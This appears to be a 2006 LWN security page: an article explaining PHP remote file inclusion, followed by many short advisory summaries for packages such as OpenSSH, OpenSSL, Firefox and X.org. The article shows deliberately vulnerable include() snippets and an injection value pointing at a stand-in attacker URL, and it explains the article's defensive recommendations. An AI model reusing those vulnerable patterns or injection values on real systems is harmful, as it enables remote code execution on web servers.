A recent rash of reports to the bugtraq mailing list provides a
nice confirmation of an
article on this page two
weeks ago. Google recently released a
code search tool
that is being used to find security holes in open source projects and
the first target appears to be remote file inclusion (RFI) vulnerabilities in
PHP programs. There has been a steady stream of vulnerability reports on
security mailing lists as well as an increase in attempts to exploit them.
An attacker's fondest wish is to be able to run their code on the
target system; an RFI exploit does just that. By exploiting two very
dubious 'features' of the PHP language, an attacker can inject their code into
a PHP program on the server. Once they can do that, they can access
anything that the PHP program could: databases, password files, etc. They
can install their own shell running with the privileges of the web server
user (such as 'apache' or 'httpd') and if the server has not been patched
for some local user privilege escalation vulnerability, the shell could be used
to become the root user.
PHP is particularly susceptible to this kind of exploit because the default
installation allows filesystem operations to 'automagically' open URLs as
if they were local files (governed by the allow_url_fopen
configuration parameter). This capability even works for what, seemingly,
should be restricted to the local filesystem such as the 'include' and
'require' directives. If an attacker can manipulate the arguments to those
directives, they can use a URL under their control as the argument and that
is just what an RFI exploit does.
Consider the following:
include($base_path . "/foo.php");
If an attacker can control the value of the base_path variable,
they can replace it with something like
"http://example.com/badcode?foo=" and,
instead of picking up foo.php from the local filesystem, PHP will happily reach out
across the net to pick up the attacker's code. One of the ways that an
attacker can control the value of a variable in a PHP program is through
the use of the register_globals PHP mis-feature.
When register_globals is enabled in PHP, the language 'automagically'
instantiates variables with values from the HTTP request and puts them in the
namespace of the PHP program. This was originally seen as a nice convenience
for getting the FORM values from the page, but has since been deprecated and is
disabled by default. There are still a fair number of PHP programs that
require it to be enabled in order to function correctly; with luck this
number is decreasing, hopefully rapidly. When it is enabled,
it allows an attacker to inject a value for any uninitialized variable in
the program by simply adding it as a GET parameter at the end of the URL.
Using the example above, if base_path was uninitialized in some
installations (for instance where the application was installed in the
DocumentRoot), an attacker could request:
and PHP will fetch and execute the exploit code. The final question
mark and foo= in the URL is just to absorb the "/foo.php"
in the include directive; other techniques such as using %00 to
put a NUL byte at the end of the malicious URL are also possible.
Some PHP programmers are not content with being exploitable only when
register_globals is on and have put code like the following into
their applications:
include($_REQUEST['own_me'] . '/foo.php');
The _REQUEST 'superglobal' array in PHP stores all of the variables
that come in from the HTTP request, regardless of whether they come as a
GET or a POST variable. This one is easy to exploit by making a request
like:
By disabling both register_globals and allow_url_fopen,
these kinds of exploits can be avoided. Unfortunately, the latter also
alters the behavior of filesystem functions that might more legitimately
be used to fetch remote URLs. For this reason, it is enabled by default
and cannot be disabled for proper functioning of some PHP
applications. There have been too many exploitable uses of
register_globals over the years for any security-minded PHP
programmer to even consider enabling it. Other languages may
also be susceptible to this kind of exploit, but PHP is certainly the target
of the recently reported ones.
[Editor's note: the LWN server is currently seeing exploit attempts at a
rate of nearly one per second, using URLs like:
No, it doesn't work here - but using wget to fetch the exploit file can
be instructive. There is a steady stream of file inclusion vulnerability
reports on lists like Bugtraq; if you are using PHP-based software, it
behooves you to pay attention.]
awstats did not fully sanitize input, which was passed directly to the user's
browser, allowing for an XSS attack. If a user was tricked into following a
specially crafted awstats URL, the user's authentication information could be
exposed for the domain where awstats was hosted. (CVE-2006-3681)
awstats could display its installation path under certain conditions.
However, this might only become a concern if awstats is installed into
an user's home directory. (CVE-2006-3682)
Version 7.5.00 of the MaxDB database has a vulnerability in the
WebDBM frontend. Insufficient input sanitization is performed on
data passed to the frontend, resulting in the possible execution of
arbitrary code.
packet.c in ssh in OpenSSH allows remote attackers to cause a denial of
service (crash) by sending an invalid protocol sequence with
USERAUTH_SUCCESS before NEWKEYS, which causes newkeys[mode] to be NULL.
An unspecified vulnerability in portable OpenSSH before 4.4, when running
on some platforms, allows remote attackers to determine the validity of
usernames via unknown vectors involving a GSSAPI "authentication abort."
The PHP memory handling routines have an integer overflow vulnerability.
A remote attacker can use a script to cause memory allocation based on
untrusted data, allowing arbitrary code to be executed as the apache
user.
Benjamin C. Wiley Sittler discovered that Python's repr() function did
not properly handle UTF-32/UCS-4 strings. If an application uses
repr() on arbitrary untrusted data, this could be exploited to execute
arbitrary code with the privileges of the python application.
From the Red Hat advisory: "A bug was found in Apache where an invalid Expect header sent to the server
was returned to the user in an unescaped error message. This could
allow an attacker to perform a cross-site scripting attack if a victim was
tricked into connecting to a site and sending a carefully crafted Expect
header."
The GNU assembler (gas) in binutils is vulnerable to a buffer overflow.
If a user can be tricked into assembling a specially crafted file with
gcc or gas, arbitrary code can be executed with the privileges of the user.
The BusyBox 1.1.1 passwd command does not use a proper salt when generating
passwords. This would create an instance where a brute force attack could
take very little time.
A race condition in bzip2 1.0.2 and earlier allows local users to modify
permissions of arbitrary files via a hard link attack on a file while it is
being decompressed, whose permissions are changed by bzip2 after the
decompression is complete. Also specially crafted bzip2 archives may cause
an infinite loop in the decompressor.
Lionel Elie Mamane discovered a security vulnerability in capi4hylafax,
tools for faxing over a CAPI 2.0 device, that allows remote attackers to
execute arbitrary commands on the fax receiving system.
Luigi Auriemma discovered a buffer overflow in the loading component
of cheesetracker, a sound module tracking program, which could allow a
maliciously constructed input file to execute arbitrary code.
Richard Harms discovered that cpio did not sufficiently validate file
properties when creating archives. Files with e. g. a very large size
caused a buffer overflow. By tricking a user or an automatic backup
system into putting a specially crafted file into a cpio archive, a
local attacker could probably exploit this to execute arbitrary code
with the privileges of the target user (which is likely root in an
automatic backup system).
The Vixie cron daemon does not check the return code from setuid(); if that call can be made to fail, a local attacker may be able to execute commands as root.
Will Drewry of the Google Security Team discovered several buffer overflows
in cscope, a source browsing tool, which might lead to the execution of
arbitrary code.
A buffer overflow in Cscope 15.5, and possibly multiple overflows, allows
remote attackers to execute arbitrary code via a C file with a long
#include line that is later browsed by the target.
Cyrus-SASL contains an unspecified vulnerability in the DIGEST-MD5
process that could lead to a Denial of Service. An attacker could possibly
exploit this vulnerability by sending specially crafted data stream to the
Cyrus-SASL server, resulting in a Denial of Service even if the attacker is
not able to authenticate.
Input validation flaws have been discovered in the image handling of
fetch.php if ImageMagick is used, which is not the default method. A
remote attacker could exploit the flaws to execute arbitrary shell commands
with the rights of the web server daemon or cause a denial of service.
the AVI processing code in FFmpeg has a number of buffer overflow
vulnerabilities.
If an attacker can trick a user into loading a specially crafted
crafted AVI, arbitrary code can be executed with the user's privileges.
Security issues were discovered in the Adobe Flash Player. It may be
possible to execute arbitrary code on a victim's machine if the victim
opens a malicious Adobe Flash file.
Several remote vulnerabilities have been discovered in freeradius, a
high-performance RADIUS server, which may lead to SQL injection or denial
of service.
The FreeType library has several integer overflow vulnerabilities.
If a user can be tricked into installing a specially
crafted font file, arbitrary code can be executed with the privilege
of the user.
The fastjar utility found in the GNU compiler collection does not perform adequate file path checking, allowing the creation or overwriting of files outside of the current directory tree.
A buffer overflow in dwarfread.c and dwarf2read.c debugging code in GNU
Debugger (GDB) 6.5 allows user-assisted attackers, or restricted users, to
execute arbitrary code via a crafted file with a location block
(DW_FORM_block) that contains a large number of operations.
A format string vulnerability has been discovered in gedit. Calling
the program with specially crafted file names caused a buffer
overflow, which could be exploited to execute arbitrary code with the
privileges of the gedit user.
Tavis Ormandy of the Google Security Team discovered two denial of service
flaws in the way gzip expanded archive files. If a victim expanded a
specially crafted archive, it could cause the gzip executable to hang or
crash.
Tavis Ormandy of the Google Security Team discovered several code execution
flaws in the way gzip expanded archive files. If a victim expanded a
specially crafted archive, it could cause the gzip executable to crash or
execute arbitrary code.
zgrep in gzip before 1.3.5 does not handle shell metacharacters like '|'
and '&' properly when they occurred in input file names. This could be
exploited to execute arbitrary commands with user privileges if zgrep is
run in an untrusted directory with specially crafted file names.
Kate / Kwrite, as shipped with KDE 3.2.x up to including 3.4.0, creates a file backup before saving a modified file. These backup files are created with default permissions, even if the original file had more strict permissions set. See this advisory for more information.
Sridhar Samudrala discovered a local denial of service vulnerability
in the handling of SCTP sockets. By opening such a socket with a
special SO_LINGER value, a local attacker could exploit this to crash
the kernel. (CVE-2006-4535)
Kirill Korotaev discovered that the ELF loader on the ia64 and sparc
platforms did not sufficiently verify the memory layout. By attempting
to execute a specially crafted executable, a local user could exploit
this to crash the kernel. (CVE-2006-4538)
The ftdi_sio driver (usb/serial/ftdi_sio.c) in Linux kernel 2.6.x up to
2.6.17, and possibly later versions, allows local users to cause a denial
of service (memory consumption) by writing more data to the serial port
than the driver can handle, which causes the data to be queued.
Previous versions of the kernel package are subject to several
vulnerabilities. Certain malformed UDF filesystems can cause the system to
crash (denial of service). Malformed CDROM firmware or USB storage devices
(such as USB keys) could cause system crash (denial of service), and if
they were intentionally malformed, can cause arbitrary code to run with
elevated privileges. In addition, the SCTP protocol is subject to a remote
system crash (denial of service) attack.
Some kerberos applications fail to check the results of setuid() calls, with the result that, if that call fails, they could continue to execute as root after thinking they had switched to a nonprivileged user. A local attacker who can cause these calls to fail (through resource exhaustion, presumably) could exploit this bug to gain root privileges.
Szymon Zygmunt and Michal Bartoszkiewicz discovered a memory alignment
error in libgadu (from ekg, console Gadu Gadu client, an instant
messaging program) which is included in gaim, a multi-protocol instant
messaging client, as well. This can not be exploited on the x86
architecture but on others, e.g. on Sparc and lead to a bus error,
in other words a denial of service.
Several buffer overflows were found in libmms. By tricking a user into
opening a specially crafted remote multimedia stream with an application
using libmms, a remote attacker could overwrite an arbitrary memory portion
with zeros, thereby crashing the program.
libpam-ldap, the PAM LDAP interface, has a vulnerability in which
it fails to authenticate with an LDAP server which is not configured
properly, allowing an authentication bypass.
In pngrutil.c, the function png_decompress_chunk() allocates
insufficient space for an error message, potentially overwriting stack
data, leading to a buffer overflow.
A heap based buffer overflow bug was found in the way libpng strips alpha
channels from a PNG image. An attacker could create a carefully crafted PNG
image file in such a way that it could cause an application linked with
libpng to crash or execute arbitrary code when the file is opened by a
victim.
The t2p_write_pdf_string function in libtiff 3.8.2 and earlier is vulnerable
to a buffer overflow. Attackers can use a TIFF file with UTF-8 characters
in the DocumentName tag to overflow a buffer, causing a denial of service,
and possibly the execution of arbitrary code.
LibVNCServer fails to properly validate protocol types effectively
letting users decide what protocol to use, such as "Type 1 - None".
LibVNCServer will accept this security type, even if it is not offered
by the server.
Yuuichi Teranishi discovered a flaw in libxml2 versions prior to 2.6.6.
When fetching a remote resource via FTP or HTTP, libxml2 uses special
parsing routines. These routines can overflow a buffer if passed a very
long URL. If an attacker is able to find an application using libxml2 that
parses remote resources and allows them to influence the URL, then this
flaw could be used to execute arbitrary code.
libxml2 prior to version 2.6.14 has multiple buffer overflow
vulnerabilities, if a local user passes a specially crafted
FTP URL, arbitrary code may be executed.
An arbitrary command execute bug was found in the lynx "lynxcgi:" URI
handler. An attacker could create a web page redirecting to a malicious URL
which could execute arbitrary code as the user running lynx.
A flaw was found in the way Mailman handled MIME multipart messages. An
attacker could send a carefully crafted MIME multipart email message to a
mailing list run by Mailman which caused that particular mailing list
to stop working. (CVE-2006-2941)
Several cross-site scripting (XSS) issues were found in Mailman. An
attacker could exploit these issues to perform cross-site scripting attacks
against the Mailman administrator. (CVE-2006-3636)
Jason Hoover discovered that migrationtools, a collection of scripts
to migrate user data to LDAP creates several temporary files insecurely,
which might lead to denial of service through a symlink attack.
The mono System.CodeDom.Compiler classes suffer from a temporary file symlink vulnerability which could be used to overwrite files, or, in this case, even inject arbitrary code into a running mono application.
Two flaws were found in the way Firefox/Thunderbird processed certain regular
expressions. A malicious web page/HTML email could crash the browser or
possibly execute arbitrary code as the user running
Firefox/Thunderbird. (CVE-2006-4565, CVE-2006-4566)
A number of flaws were found in Firefox/Thunderbird. A malicious web
page/HTML email could crash the browser or possibly execute arbitrary code
as the user running Firefox/Thunderbird. (CVE-2006-4571)
A flaw was found in the handling of JavaScript timed events. A malicious
web page could crash the browser or possibly execute arbitrary code as the
user running Firefox/Thunderbird. (CVE-2006-4253)
A flaw was found in the Firefox/Thunderbird auto-update verification
system. An attacker who has the ability to spoof a victim's DNS could get
Firefox to download and install malicious code. In order to exploit this
issue an attacker would also need to get a victim to previously accept an
unverifiable certificate. (CVE-2006-4567)
Firefox did not properly prevent a frame in one domain from injecting
content into a sub-frame that belongs to another domain, which facilitates
website spoofing and other attacks (CVE-2006-4568)
Firefox did not load manually opened, blocked popups in the right domain
context, which could lead to cross-site scripting attacks. In order to
exploit this issue an attacker would need to find a site which would frame
their malicious page and convince the user to manually open a blocked
popup. (CVE-2006-4569)
TAKAHASHI Tamotsu discovered that mutt's IMAP backend did not sufficiently
check the validity of namespace strings. If an user connects to a malicious
IMAP server, that server could exploit this to crash mutt or even execute
arbitrary code with the privileges of the mutt user. See this Secunia advisory for more
information.
Jean-David Maillefer discovered a format string bug in the
date_format() function's error reporting. By calling the function with
invalid arguments, an authenticated user could exploit this to crash
the server.
MySQL 4.1 before 4.1.21 and 5.0 before 5.0.24 allows a local user to access
a table through a previously created MERGE table, even after the user's
privileges are revoked for the original table, which might violate intended
security policy (CVE-2006-4031).
MySQL 4.1 before 4.1.21, 5.0 before 5.0.25, and 5.1 before 5.1.12, when run
on case-sensitive filesystems, allows remote authenticated users to create
or access a database when the database name differs only in case from a
database for which they have permissions (CVE-2006-4226).
MySQL 5.0.18 and earlier allows local users to bypass logging mechanisms
via SQL queries that contain the NULL character, which are not properly
handled by the mysql_real_query function. NOTE: this issue was originally
reported for the mysql_query function, but the vendor states that since
mysql_query expects a null character, this is not an issue for mysql_query.
Kurt Fitzner discovered that the NBD (network block device) server did not
correctly verify the maximum size of request packets. By sending specially
crafted large request packets, a remote attacker who is allowed to access
the server could exploit this to execute arbitrary code with root
privileges.
Daniel Bleichenbacher recently described an implementation error in RSA
signature verification. For RSA keys with exponent 3 it is possible for an
attacker to forge a signature that which would be incorrectly verified by
the NSS library.
slapd in OpenLDAP before 2.3.25 allows remote authenticated users with
selfwrite Access Control List (ACL) privileges to modify arbitrary
Distinguished Names (DN).
Several vulnerabilities have been discovered in OpenOffice.org, a free
office suite.
It turned out to be possible to embed arbitrary BASIC macros in
documents in a way that OpenOffice.org does not see them but executes them
anyway without any user interaction. (CVE-2006-2198)
It is possible to evade the Java sandbox with specially crafted Java
applets. (CVE-2006-2199)
Loading malformed XML documents can cause buffer overflows and cause a
denial of service or execute arbitrary code. (CVE-2006-3117)
Openssh 4.4 fixes some
security issues, including a pre-authentication denial of service, an
unsafe signal hander and on portable OpenSSH a GSSAPI authentication abort
could be used to determine the validity of usernames on some platforms.
Philip Mackenzie, Marius Schilder, Jason Waddle and Ben Laurie of Google
Security discovered that the OpenSSL library did not sufficiently check the
padding of PKCS #1 v1.5 signatures if the exponent of the public key is 3
(which is widely used for CAs). This could be exploited to forge signatures
without the need of the secret key.
OpenSSL has a number of denial of service vulnerabilities including:
two vulnerabilities involving invalid ASN.1 structures, a buffer overflow
in the SSL_get_shared_ciphers() function and an SSLv2 client crash that
can be caused by a malicious server.
The Opera browser has a problem verifying OpenSSL PKCS #1
v1.5 RSA signatures. An attacker can use this to forge certificates
and appear as a valid CA.
The file_exists and imap_reopen functions in PHP before 5.1.5 do not check
for the safe_mode and open_basedir settings, which allows local users to
bypass the settings (CVE-2006-4481).
A buffer overflow in the LWZReadByte function in ext/gd/libgd/gd_gif_in.c
in the GD extension in PHP before 5.1.5 allows remote attackers to have an
unknown impact via a GIF file with input_code_size greater than
MAX_LWZ_BITS, which triggers an overflow when initializing the table array
(CVE-2006-4484).
The stripos function in PHP before 5.1.5 has unknown impact and attack
vectors related to an out-of-bounds read (CVE-2006-4485).
It was discovered that phpbb2, a web based bulletin board, insufficiently
sanitizes values passed to the "Font Color 3" setting, which might lead to
the execution of injected code by admin users.
The phpbb2 web forum has a number of vulnerabilities including:
a web script injection problem, a protection mechanism bypass, a
security check bypass, a remote global variable bypass, cross site
scripting vulnerabilities, an SQL injection vulnerability,
a remote regular expression modification problem, missing input
sanitizing, and a missing request validation problem.
Stefan Esser reported multiple vulnerabilities
found in phpMyAdmin. The $GLOBALS variable allows modifying the global
variable import_blacklist to open phpMyAdmin to local and remote file
inclusion, depending on your PHP version (CVE-2005-4079, PMASA-2005-9).
Furthermore, it is also possible to conduct an XSS attack via the
$HTTP_HOST variable and a local and remote file inclusion because the
contents of the variable are under total control of the attacker
(CVE-2005-3665, PMASA-2005-8).
The PostgreSQL team has put out a set of "urgent updates" (in the form of the 7.3.15, 7.4.13, 8.0.8, and 8.1.4 releases) closing a
newly-discovered set of SQL injection issues. Details about the problem
can be found on the
technical information page; in short: multi-byte encodings can be used
to defeat normal string sanitizing techniques. The update fixes one problem
related to invalid multi-byte characters, but punts on another by simply
disallowing the old, unsafe technique of escaping single quotes with a
backslash.
Sendmail has a vulnerability in the way it handles multi-part MIME messages.
A remote attacker can create a specially crafted email message that can
be used to crash the sendmail process, causing a denial of service.
The useradd tool from the shadow-utils package has a potential security
problem. When a new user's mailbox is created, the permissions are
set to random garbage from the stack, potentially allowing the
file to be read or written during the time before fchmod() is called.
A buffer overflow in UnZip 5.50 and earlier allows local users to execute
arbitrary code via a long filename command line argument. NOTE: since the
overflow occurs in a non-setuid program, there are not many scenarios under
which it poses a vulnerability, unless unzip is passed long arguments when
it is invoked from other programs.
xtensive testing of libwww's handling of multipart/byteranges content from
HTTP/1.1 servers revealed multiple logical flaws and bugs in
Library/src/HTBound.c
Webmin before 1.296 and Usermin before 1.226 does not properly handle a URL
with a null ("%00") character, which allows remote attackers to conduct
cross-site scripting (XSS), read CGI program source code, list directories,
and possibly execute programs.
xine-lib does an improper input data boundary check on
MPEG streams. A specially crafted MPEG file can be
created that can cause arbitrary code execution when the
file is accessed.
Several format string vulnerabilities have been discovered in xine-ui,
the user interface of the xine video player, which may cause a denial
of service.
Several X.org libraries and X.org itself contain system calls to
set*uid() functions, without checking their result. Local users could
deliberately exceed their assigned resource limits and elevate their
privileges after an unsuccessful set*uid() system call. This requires
resource limits to be enabled on the machine.
There is a buffer overflow in the Xrender extension of the X.Org server; any process which is able to connect to the server may be able to exploit this overflow to run arbitrary code. Since the X server runs as root on most systems, this vulnerability could be exploited to gain root access. See the X.Org advisory for more information.
iDefense reported two integer overflow
flaws in the way the X.org server processed CID font files. A malicious
authorized client could exploit this issue to cause a denial of service
(crash) or potentially execute arbitrary code with root privileges on the
X.org server.
xpdf has a number of integer overflows.
A remote attacker can trick a user into opening a maliciously
crafted pdf file, allowing the attacker to execute code with the
privileges of the local user.
This also affects the Poppler library, cupsys and tetex-bin.
Steve Christey at MITRE has done a bunch of statistics crunching on five
years of CVE vulnerability entries. The resulting report
makes interesting reading. "Format string vulnerabilities appear
more frequently in open source. There are probably several factors. First,
susceptible API library calls such as printf() are easily found in source
code using crude methods, whereas binary reverse engineering techniques are
not conducted by many researchers (this might also be an explanation for
symbolic link issues). Second, many format string problems seem to occur in
rarely-triggered error conditions, which makes them more difficult to test
with black box methods."
